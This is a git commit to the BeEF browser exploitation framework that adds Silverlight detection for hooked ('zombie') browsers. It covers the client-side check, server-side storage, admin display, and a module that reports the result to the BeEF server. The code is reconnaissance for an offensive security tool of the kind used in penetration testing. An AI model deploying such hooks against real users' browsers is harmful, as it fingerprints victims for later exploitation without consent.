Add 'beef.browser.hasSilverlight()'

Add 'modules/browser/detect_silverlight'
This commit is contained in:
bcoles
2013-02-03 04:42:13 +10:30
parent 2c10dd040c
commit 95970d5364
7 changed files with 104 additions and 1 deletions

View File

@@ -988,6 +988,7 @@ return !!window.devicePixelRatio && !!window.history.replaceState && window.navi
var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No";
var has_activex = (beef.browser.hasActiveX())? "Yes":"No";
var has_silverlight = (beef.browser.hasSilverlight())? "Yes":"No";
var has_session_cookies = (beef.browser.cookie.hasSessionCookies("cookie"))? "Yes":"No";
var has_persistent_cookies = (beef.browser.cookie.hasPersistentCookies("cookie"))? "Yes":"No";
@@ -1016,6 +1017,7 @@ return !!window.devicePixelRatio && !!window.history.replaceState && window.navi
if(has_web_socket) details['HasWebSocket'] = has_web_socket
if(has_googlegears) details['HasGoogleGears'] = has_googlegears
if(has_activex) details['HasActiveX'] = has_activex;
if(has_silverlight) details['HasSilverlight'] = has_silverlight;
if(has_session_cookies) details["hasSessionCookies"] = has_session_cookies;
if(has_persistent_cookies) details["hasPersistentCookies"] = has_persistent_cookies;
@@ -1023,12 +1025,32 @@ return !!window.devicePixelRatio && !!window.history.replaceState && window.navi
},
/**
* Returns boolean value depending on whether the browser support ActiveX
* Returns boolean value depending on whether the browser supports ActiveX
*/
hasActiveX: function() {
return !!window.ActiveXObject;
},
/**
* Returns boolean value depending on whether the browser supports Silverlight
*/
hasSilverlight: function() {
var result = false;
try {
if (beef.browser.isIE()) {
var slControl = new ActiveXObject('AgControl.AgControl');
result = true;
} else if (navigator.plugins["Silverlight Plug-In"]) {
result = true;
}
} catch (e) {
result = false;
}
return result;
},
/**
* Returns array of results, whether or not the target zombie has visited the specified URL
*/

View File

@@ -255,6 +255,14 @@ module BeEF
self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
end
# get and store the yes|no value for HasSilverlight
has_silverlight = get_param(@data['results'], 'HasSilverlight')
if BeEF::Filters.is_valid_yes_no?(has_silverlight)
BD.set(session_id, 'HasSilverlight', has_silverlight)
else
self.err_msg "Invalid value for Silverlight returned from the hook browser's initial connection."
end
# get and store the value for CPU
cpu_type = get_param(@data['results'], 'CPU')
if !cpu_type.nil?

View File

@@ -405,6 +405,21 @@ class Modules < BeEF::Extension::AdminUI::HttpController
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the yes|no value for HasSilverlight
has_silverlight = BD.get(zombie_session, 'HasSilverlight')
if not has_silverlight.nil?
encoded_has_silverlight = CGI.escapeHTML(has_silverlight)
encoded_has_silverlight_hash = { 'Has Silverlight' => encoded_has_silverlight }
page_name_row = {
'category' => 'Browser',
'data' => encoded_has_silverlight_hash,
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end

View File

@@ -617,6 +617,21 @@ class ShellInterface
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the yes|no value for HasSilverlight
has_silverlight = BD.get(zombie_session, 'HasSilverlight')
if not has_silverlight.nil?
encoded_has_silverlight = CGI.escapeHTML(has_silverlight)
encoded_has_silverlight_hash = { 'Has Silverlight' => encoded_has_silverlight }
page_name_row = {
'category' => 'Browser',
'data' => encoded_has_silverlight_hash,
'from' => 'Initialization'
}
summary_grid_hash['results'].push(page_name_row) # add the row
end
# set and add the value for CPU
cpu_type = BD.get(zombie_session, 'CPU')
if not cpu_type.nil?

View File

@@ -0,0 +1,14 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var result = (beef.browser.hasSilverlight())? "Yes" : "No";
beef.net.send("<%= @command_url %>", <%= @command_id %>, "silverlight="+result);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
detect_silverlight:
enable: true
category: "Browser"
name: "Detect Silverlight"
description: "This module will check if the browser has Silverlight support."
authors: ["bcoles"]
target:
working: ["ALL"]

View File

@@ -0,0 +1,14 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Detect_silverlight < BeEF::Core::Command
def post_execute
content = {}
content['silverlight'] = @datastore['silverlight']
save content
end
end